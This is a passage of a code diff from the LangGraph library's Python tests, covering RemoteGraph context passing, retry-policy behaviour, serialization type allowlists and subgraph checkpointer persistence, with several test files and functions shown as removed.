list(remote_pregel.stream({"input": "data"}, config, stream_mode="values"))
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] is None
@pytest.mark.anyio
async def test_astream_context():
"""Test that context is passed through to the SDK client in astream."""
mock_async_client = MagicMock()
async_iter = MagicMock()
async_iter.__aiter__.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
mock_async_client.runs.stream.return_value = async_iter
remote_pregel = RemoteGraph(
"test_graph_id",
client=mock_async_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "anthropic"}
chunks = []
async for chunk in remote_pregel.astream(
{"input": "data"},
config,
context=context,
stream_mode="values",
):
chunks.append(chunk)
assert chunks == [{"chunk": "data1"}]
_, kwargs = mock_async_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "anthropic"}
def test_invoke_context():
"""Test that context is passed through to the SDK client in invoke."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"result": "done"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "openai"}
result = remote_pregel.invoke({"input": "data"}, config, context=context)
assert result == {"result": "done"}
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "openai"}
@pytest.mark.anyio
async def test_ainvoke_context():
"""Test that context is passed through to the SDK client in ainvoke."""
mock_async_client = MagicMock()
async_iter = MagicMock()
async_iter.__aiter__.return_value = [
StreamPart(event="values", data={"result": "done"}),
]
mock_async_client.runs.stream.return_value = async_iter
remote_pregel = RemoteGraph(
"test_graph_id",
client=mock_async_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"user_id": "456"}
result = await remote_pregel.ainvoke({"input": "data"}, config, context=context)
assert result == {"result": "done"}
_, kwargs = mock_async_client.runs.stream.call_args
assert kwargs["context"] == {"user_id": "456"}
def test_stream_context_dataclass():
"""Test that a dataclass context is passed through to the SDK client."""
@dataclass
class MyContext:
model_name: str
user_id: str
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
ctx = MyContext(model_name="anthropic", user_id="123")
list(
remote_pregel.stream(
{"input": "data"}, config, context=ctx, stream_mode="values"
)
)
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == ctx
def test_stream_context_base_model():
"""Test that a BaseModel context is passed through to the SDK client."""
class MyContext(BaseModel):
model_name: str
user_id: str
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
ctx = MyContext(model_name="anthropic", user_id="123")
list(
remote_pregel.stream(
{"input": "data"}, config, context=ctx, stream_mode="values"
)
)
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == ctx
@pytest.mark.skip(
"Unskip this test to manually test the LangSmith Deployment integration"
)
+2 -53
View File
@@ -4,8 +4,7 @@ import pytest
from typing_extensions import TypedDict
from langgraph.graph import START, StateGraph
from langgraph.pregel._retry import _checkpoint_ns_for_parent_command, _should_retry_on
from langgraph.runtime import Runtime
from langgraph.pregel._retry import _should_retry_on
from langgraph.types import RetryPolicy
@@ -79,22 +78,6 @@ def test_should_retry_on_empty_sequence():
assert _should_retry_on(policy, ValueError("test error")) is False
def test_checkpoint_ns_for_parent_command() -> None:
assert _checkpoint_ns_for_parent_command("") == ""
assert _checkpoint_ns_for_parent_command("node:1") == ""
assert _checkpoint_ns_for_parent_command("node:1|child:2") == "node:1"
assert _checkpoint_ns_for_parent_command("node:1|1|child:2") == "node:1"
assert _checkpoint_ns_for_parent_command("node:1|1|child:2|1") == "node:1"
assert (
_checkpoint_ns_for_parent_command("parent:1|1|child:1|1|node:1|1")
== "parent:1|1|child:1"
)
assert (
_checkpoint_ns_for_parent_command("parent:1|1|child:1|1|node:1")
== "parent:1|1|child:1"
)
def test_should_retry_default_retry_on():
"""Test the default retry_on function."""
import httpx
@@ -169,15 +152,10 @@ def test_graph_with_single_retry_policy():
foo: str
attempt_count = 0
attempt_numbers: list[int] = []
first_attempt_times: list[float | None] = []
def failing_node(state: State, runtime: Runtime):
def failing_node(state: State):
nonlocal attempt_count
attempt_count += 1
assert runtime.execution_info.node_attempt == attempt_count
attempt_numbers.append(runtime.execution_info.node_attempt)
first_attempt_times.append(runtime.execution_info.node_first_attempt_time)
if attempt_count < 3: # Fail the first two attempts
raise ValueError("Intentional failure")
return {"foo": "success"}
@@ -209,11 +187,6 @@ def test_graph_with_single_retry_policy():
# Verify retry behavior
assert attempt_count == 3 # The node should have been tried 3 times
assert attempt_numbers == [1, 2, 3]
assert len(first_attempt_times) == 3
assert first_attempt_times[0] is not None
assert first_attempt_times[1] == first_attempt_times[0]
assert first_attempt_times[2] == first_attempt_times[0]
assert result["foo"] == "other_node" # Final result should be from other_node
# Verify the sleep intervals
@@ -221,30 +194,6 @@ def test_graph_with_single_retry_policy():
assert call_args_list == [0.01, 0.02]
def test_runtime_execution_info_defaults_without_retry():
"""Test execution_info defaults when no retry and no config are provided."""
class State(TypedDict):
foo: str
captured = {}
def node(state: State, runtime: Runtime):
captured["node_attempt"] = runtime.execution_info.node_attempt
captured["node_first_attempt_time"] = (
runtime.execution_info.node_first_attempt_time
)
return {"foo": "ok"}
graph = StateGraph(State).add_node("node", node).add_edge(START, "node").compile()
result = graph.invoke({"foo": ""})
assert result["foo"] == "ok"
assert captured["node_attempt"] == 1
assert isinstance(captured["node_first_attempt_time"], float)
def test_graph_with_jitter_retry_policy():
"""Test a graph with a RetryPolicy that uses jitter."""
@@ -1,159 +0,0 @@
from __future__ import annotations
from collections import deque
from dataclasses import dataclass
from enum import Enum
from typing import TYPE_CHECKING, Annotated, Any, Literal, NewType, Optional, Union
import pytest
from pydantic import BaseModel
from typing_extensions import NotRequired, Required, TypedDict
from langgraph._internal._serde import (
collect_allowlist_from_schemas,
curated_core_allowlist,
)
class Color(Enum):
RED = "red"
BLUE = "blue"
@dataclass
class InnerDataclass:
value: int
class InnerModel(BaseModel):
name: str
@dataclass
class Node:
value: int
child: Node | None = None
if TYPE_CHECKING:
class MissingType:
pass
@dataclass
class MissingRefDataclass:
payload: MissingType
class Payload(TypedDict):
item: InnerDataclass
maybe: NotRequired[InnerModel]
required: Required[str]
@dataclass
class NestedDataclass:
inner: InnerDataclass
items: list[InnerModel]
mapping: dict[str, InnerDataclass]
optional: InnerModel | None
union: InnerDataclass | InnerModel
queue: deque[InnerDataclass]
frozen: frozenset[InnerModel]
AnnotatedList = Annotated[list[InnerDataclass], "meta"]
UserId = NewType("UserId", int)
class DummyChannel:
@property
def ValueType(self) -> type[InnerDataclass]:
return InnerDataclass
@property
def UpdateType(self) -> type[InnerModel]:
return InnerModel
def test_curated_core_allowlist_includes_messages() -> None:
try:
from langchain_core.messages import BaseMessage
except Exception:
pytest.skip("langchain_core not available")
allowlist = curated_core_allowlist()
assert (BaseMessage.__module__, BaseMessage.__name__) in allowlist
def test_collect_allowlist_basic_models() -> None:
allowlist = collect_allowlist_from_schemas(
schemas=[InnerDataclass, InnerModel, Color]
)
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
assert (Color.__module__, Color.__name__) in allowlist
def test_collect_allowlist_nested_containers() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[NestedDataclass])
assert (NestedDataclass.__module__, NestedDataclass.__name__) in allowlist
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
def test_collect_allowlist_annotated_and_union() -> None:
allowlist = collect_allowlist_from_schemas(
schemas=[AnnotatedList, InnerModel | None, InnerDataclass | None]
)
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
def test_collect_allowlist_literal_and_any() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[Any, Literal["a"]])
assert allowlist == set()
def test_collect_allowlist_typeddict_fields_only() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[Payload])
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
assert (Payload.__module__, Payload.__name__) not in allowlist
def test_collect_allowlist_forward_refs() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[Node])
assert (Node.__module__, Node.__name__) in allowlist
def test_collect_allowlist_missing_forward_ref() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[MissingRefDataclass])
assert allowlist == {(MissingRefDataclass.__module__, MissingRefDataclass.__name__)}
def test_collect_allowlist_newtype_supertype() -> None:
allowlist = collect_allowlist_from_schemas(schemas=[UserId])
assert allowlist == set()
def test_collect_allowlist_channels() -> None:
channels = {"a": DummyChannel(), "b": DummyChannel()}
allowlist = collect_allowlist_from_schemas(channels=channels)
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
def test_collect_allowlist_pep604_union() -> None:
schema = InnerDataclass | InnerModel
allowlist = collect_allowlist_from_schemas(schemas=[schema])
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
def test_collect_allowlist_typing_union_optional() -> None:
typing_optional = Optional[InnerDataclass] # noqa: UP045
typing_union = Union[InnerDataclass, InnerModel] # noqa: UP007
allowlist = collect_allowlist_from_schemas(schemas=[typing_optional, typing_union])
assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist
assert (InnerModel.__module__, InnerModel.__name__) in allowlist
File diff suppressed because it is too large Load Diff
@@ -1,641 +0,0 @@
"""Tests for subgraph persistence behavior (sync).
Covers three checkpointer settings for subgraph state:
- checkpointer=False: no persistence, even when parent has a checkpointer
- checkpointer=None (default): "stateless" inherits parent checkpointer for
interrupt support, but state resets each invocation. This is the common case
when an agent is invoked from inside a tool used by another agent.
- checkpointer=True: "stateful" state accumulates across invocations on the same thread id
"""
from uuid import uuid4
from langchain_core.messages import AIMessage, HumanMessage
from langgraph.checkpoint.base import BaseCheckpointSaver
from typing_extensions import TypedDict
from langgraph.graph import START, StateGraph
from langgraph.graph.message import MessagesState
from langgraph.types import Command, Interrupt, interrupt
from tests.any_str import AnyStr
class ParentState(TypedDict):
result: str
# -- checkpointer=None (stateless) --
def test_stateless_interrupt_resume(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None (the default) can
still support interrupt/resume when invoked from inside a parent graph that
has a checkpointer. This is the "stateless" pattern the subgraph inherits
the parent's checkpointer just enough to pause and resume, but does not
retain any state across separate parent invocations. This pattern commonly
appears when an agent is invoked from inside a tool used by another agent.
"""
# Build a subgraph that interrupts before echoing.
# Two nodes: "process" interrupts then echoes, "respond" returns "Done".
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
def call_inner(state: ParentState) -> dict:
resp = inner.invoke({"messages": [HumanMessage(content="apples")]})
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke hits the interrupt
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume completes the subgraph
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
def test_stateless_state_resets(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None (the default) does
not retain any message history between separate parent invocations. Each time
the parent graph invokes the subgraph, it starts with a clean slate. This
confirms the "stateless" behavior: even though the parent has a checkpointer,
the subgraph state is not persisted across calls.
"""
# Build a simple echo subgraph: echoes "Processing: <input>"
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile()
)
subgraph_messages: list[list[str]] = []
call_count = 0
def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = inner.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = parent.invoke({"result": ""}, config)
assert result1 == {"result": "Processing: tell me about apples"}
result2 = parent.invoke({"result": ""}, config)
assert result2 == {"result": "Processing: tell me about bananas"}
# Both invocations produce fresh history — no memory of prior call
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processing: tell me about bananas",
]
def test_stateless_state_resets_with_interrupt(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None resets its state
between parent invocations even when interrupt/resume is used. The subgraph
is invoked twice from the parent, each time with an interrupt that must be
resumed. After both invoke+resume cycles, each subgraph run should only
contain its own messages no bleed-over from the previous run.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
subgraph_messages: list[list[str]] = []
call_count = 0
def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = inner.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke+resume cycle
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Second invoke+resume cycle
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Both invocations produce fresh history — no memory of prior call
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
# -- checkpointer=False --
def test_checkpointer_false_no_persistence(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=False gets no
persistence at all, even when the parent graph has a checkpointer. Unlike
the default (checkpointer=None) which inherits just enough from the parent
to support interrupt/resume, checkpointer=False explicitly opts out of all
checkpoint behavior. Each invocation starts completely fresh.
"""
# Build a simple echo subgraph with checkpointer=False
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processed: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile(checkpointer=False)
)
subgraph_messages: list[list[str]] = []
call_count = 0
def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = inner.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = parent.invoke({"result": ""}, config)
assert result1 == {"result": "Processed: tell me about apples"}
result2 = parent.invoke({"result": ""}, config)
assert result2 == {"result": "Processed: tell me about bananas"}
# Both start fresh — no history from first call
assert subgraph_messages[0] == [
"tell me about apples",
"Processed: tell me about apples",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processed: tell me about bananas",
]
# -- checkpointer=True (stateful) --
def test_stateful_state_accumulates(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=True ("stateful")
retains its message history across separate parent invocations. To enable
this, the subgraph is wrapped in an outer graph compiled with
checkpointer=True this wrapper gives the inner subgraph its own persistent
checkpoint namespace. After two parent calls, the second subgraph invocation
should see messages from both the first and second calls.
"""
# Build a simple echo subgraph
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile()
)
# Wrap the inner subgraph with checkpointer=True to enable stateful.
# The wrapper graph gives the subgraph its own persistent checkpoint
# namespace, keyed by the node name ("agent").
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = wrapper.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = parent.invoke({"result": ""}, config)
assert result1 == {"result": "Processing: tell me about apples"}
result2 = parent.invoke({"result": ""}, config)
assert result2 == {"result": "Processing: tell me about bananas"}
# First call: fresh history
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
]
# Second call: retains messages from first call
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"tell me about bananas",
"Processing: tell me about bananas",
]
def test_stateful_state_accumulates_with_interrupt(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a stateful subgraph (checkpointer=True) retains its
message history across parent invocations even when interrupt/resume is
involved. The subgraph interrupts before echoing, then responds "Done".
After two invoke+resume cycles, the second run should contain the full
accumulated history from both calls.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
# Wrap with checkpointer=True for stateful
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = wrapper.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke+resume cycle
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Second invoke+resume cycle
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
# First call: fresh history
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
# Second call: retains messages from first call
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
def test_stateful_interrupt_resume(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a stateful subgraph (checkpointer=True) correctly
supports interrupt/resume while also accumulating state. Each invoke+resume
pair triggers the subgraph, and after the second pair completes we verify
both the per-step invoke outputs and the accumulated message history. This
exercises the full lifecycle: interrupt, resume, state accumulation.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
# Wrap with checkpointer=True for stateful
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = wrapper.invoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invocation: hits interrupt
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume: completes first call
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
# Second invocation: hits interrupt, state accumulated from first call
result = parent.invoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume: completes second call with accumulated state
result = parent.invoke(Command(resume=True), config)
assert result == {"result": "Done"}
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
def test_stateful_namespace_isolation(
sync_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that two different stateful subgraphs (checkpointer=True)
maintain completely independent state when they use different wrapper node
names. A "fruit_agent" and "veggie_agent" are each wrapped in their own
stateful graph. After two parent invocations, each agent should only
see its own accumulated history with no cross-contamination between them.
"""
# Build two simple echo subgraphs with different prefixes
def fruit_echo(state: MessagesState) -> dict:
return {"messages": [AIMessage(content=f"Fruit: {state['messages'][-1].text}")]}
def veggie_echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Veggie: {state['messages'][-1].text}")]
}
fruit_inner = (
StateGraph(MessagesState)
.add_node("echo", fruit_echo)
.add_edge(START, "echo")
.compile()
)
veggie_inner = (
StateGraph(MessagesState)
.add_node("echo", veggie_echo)
.add_edge(START, "echo")
.compile()
)
# Wrap each with checkpointer=True, using different node names to get
# independent checkpoint namespaces
fruit = (
StateGraph(MessagesState)
.add_node("fruit_agent", fruit_inner)
.add_edge(START, "fruit_agent")
.compile(checkpointer=True)
)
veggie = (
StateGraph(MessagesState)
.add_node("veggie_agent", veggie_inner)
.add_edge(START, "veggie_agent")
.compile(checkpointer=True)
)
fruit_msgs: list[list[str]] = []
veggie_msgs: list[list[str]] = []
call_count = 0
def call_both(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
suffix = "round 1" if call_count == 1 else "round 2"
f = fruit.invoke({"messages": [HumanMessage(content=f"cherries {suffix}")]})
v = veggie.invoke({"messages": [HumanMessage(content=f"broccoli {suffix}")]})
fruit_msgs.append([m.text for m in f["messages"]])
veggie_msgs.append([m.text for m in v["messages"]])
return {"result": f["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_both", call_both)
.add_edge(START, "call_both")
.compile(checkpointer=sync_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = parent.invoke({"result": ""}, config)
assert result1 == {"result": "Fruit: cherries round 1"}
result2 = parent.invoke({"result": ""}, config)
assert result2 == {"result": "Fruit: cherries round 2"}
# First call: each agent sees only its own history
assert fruit_msgs[0] == ["cherries round 1", "Fruit: cherries round 1"]
assert veggie_msgs[0] == ["broccoli round 1", "Veggie: broccoli round 1"]
# Second call: each accumulated independently — no cross-contamination
assert fruit_msgs[1] == [
"cherries round 1",
"Fruit: cherries round 1",
"cherries round 2",
"Fruit: cherries round 2",
]
assert veggie_msgs[1] == [
"broccoli round 1",
"Veggie: broccoli round 1",
"broccoli round 2",
"Veggie: broccoli round 2",
]
@@ -1,662 +0,0 @@
"""Tests for subgraph persistence behavior (async).
Covers three checkpointer settings for subgraph state:
- checkpointer=False: no persistence, even when parent has a checkpointer
- checkpointer=None (default): "stateless" inherits parent checkpointer for
interrupt support, but state resets each invocation. This is the common case
when an agent is invoked from inside a tool used by another agent.
- checkpointer=True: "stateful" state accumulates across invocations on the same thread id
"""
import sys
from uuid import uuid4
import pytest
from langchain_core.messages import AIMessage, HumanMessage
from langgraph.checkpoint.base import BaseCheckpointSaver
from typing_extensions import TypedDict
from langgraph.graph import START, StateGraph
from langgraph.graph.message import MessagesState
from langgraph.types import Command, Interrupt, interrupt
from tests.any_str import AnyStr
pytestmark = pytest.mark.anyio
NEEDS_CONTEXTVARS = pytest.mark.skipif(
sys.version_info < (3, 11),
reason="Python 3.11+ is required for async contextvars support",
)
class ParentState(TypedDict):
result: str
# -- checkpointer=None (stateless) --
@NEEDS_CONTEXTVARS
async def test_stateless_interrupt_resume_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None (the default) can
still support interrupt/resume when invoked from inside a parent graph that
has a checkpointer. This is the "stateless" pattern the subgraph inherits
the parent's checkpointer just enough to pause and resume, but does not
retain any state across separate parent invocations. This pattern commonly
appears when an agent is invoked from inside a tool used by another agent.
"""
# Build a subgraph that interrupts before echoing.
# Two nodes: "process" interrupts then echoes, "respond" returns "Done".
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
async def call_inner(state: ParentState) -> dict:
resp = await inner.ainvoke({"messages": [HumanMessage(content="apples")]})
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke hits the interrupt
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume completes the subgraph
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
@NEEDS_CONTEXTVARS
async def test_stateless_state_resets_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None (the default) does
not retain any message history between separate parent invocations. Each time
the parent graph invokes the subgraph, it starts with a clean slate. This
confirms the "stateless" behavior: even though the parent has a checkpointer,
the subgraph state is not persisted across calls.
"""
# Build a simple echo subgraph: echoes "Processing: <input>"
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile()
)
subgraph_messages: list[list[str]] = []
call_count = 0
async def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = await inner.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = await parent.ainvoke({"result": ""}, config)
assert result1 == {"result": "Processing: tell me about apples"}
result2 = await parent.ainvoke({"result": ""}, config)
assert result2 == {"result": "Processing: tell me about bananas"}
# Both invocations produce fresh history — no memory of prior call
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processing: tell me about bananas",
]
@NEEDS_CONTEXTVARS
async def test_stateless_state_resets_with_interrupt_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=None resets its state
between parent invocations even when interrupt/resume is used. The subgraph
is invoked twice from the parent, each time with an interrupt that must be
